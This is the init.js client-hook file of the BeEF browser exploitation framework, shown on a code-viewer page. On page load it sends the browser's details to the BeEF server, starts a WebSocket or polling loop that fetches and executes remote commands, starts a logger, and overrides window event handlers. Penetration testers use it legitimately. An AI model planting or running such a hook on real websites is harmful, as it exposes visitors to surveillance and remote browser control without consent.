Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/core/main/client/init.js
1154 views
1
//
2
// Copyright (c) 2006-2025 Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
/**
8
* Contains the beef_init() method which starts the BeEF client-side
9
* logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
10
*
11
* If beef.pageIsLoaded is true, then this JS has been loaded >1 times
12
* and will have a new session id. The new session id will need to know
13
* the brwoser details. So sendback the browser details again.
14
*
15
* @namespace beef.init
16
*/
17
18
beef.session.get_hook_session_id();
19
20
if (beef.pageIsLoaded) {
21
beef.net.browser_details();
22
}
23
/**
24
* @memberof beef.init
25
*/
26
window.onload = function () {
27
beef_init();
28
};
29
/**
30
* @memberof beef.init
31
*/
32
window.onpopstate = function (event) {
33
if (beef.onpopstate.length > 0) {
34
event.preventDefault;
35
for (var i = 0; i < beef.onpopstate.length; i++) {
36
var callback = beef.onpopstate[i];
37
try {
38
callback(event);
39
} catch (e) {
40
beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
41
}
42
return false;
43
}
44
}
45
};
46
/**
47
* @memberof beef.init
48
*/
49
window.onclose = function (event) {
50
if (beef.onclose.length > 0) {
51
event.preventDefault;
52
for (var i = 0; i < beef.onclose.length; i++) {
53
var callback = beef.onclose[i];
54
try {
55
callback(event);
56
} catch (e) {
57
beef.debug("window.onclose - couldn't execute callback: " + e.message);
58
}
59
return false;
60
}
61
}
62
};
63
64
/**
65
* Starts the polling mechanism, and initialize various components:
66
* - browser details (see browser.js) are sent back to the "/init" handler
67
* - the polling starts (checks for new commands, and execute them)
68
* - the logger component is initialized (see logger.js)
69
* - the Autorun Engine is initialized (see are.js)
70
* @memberof beef.init
71
*/
72
function beef_init() {
73
if (!beef.pageIsLoaded) {
74
beef.pageIsLoaded = true;
75
beef.net.browser_details();
76
77
if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
78
setTimeout(function(){
79
beef.websocket.start();
80
beef.updater.execute_commands();
81
beef.logger.start();
82
}, parseInt(beef.websocket.ws_connect_timeout));
83
}else {
84
beef.net.browser_details();
85
beef.updater.execute_commands();
86
beef.updater.check();
87
beef.logger.start();
88
}
89
}
90
}
91
92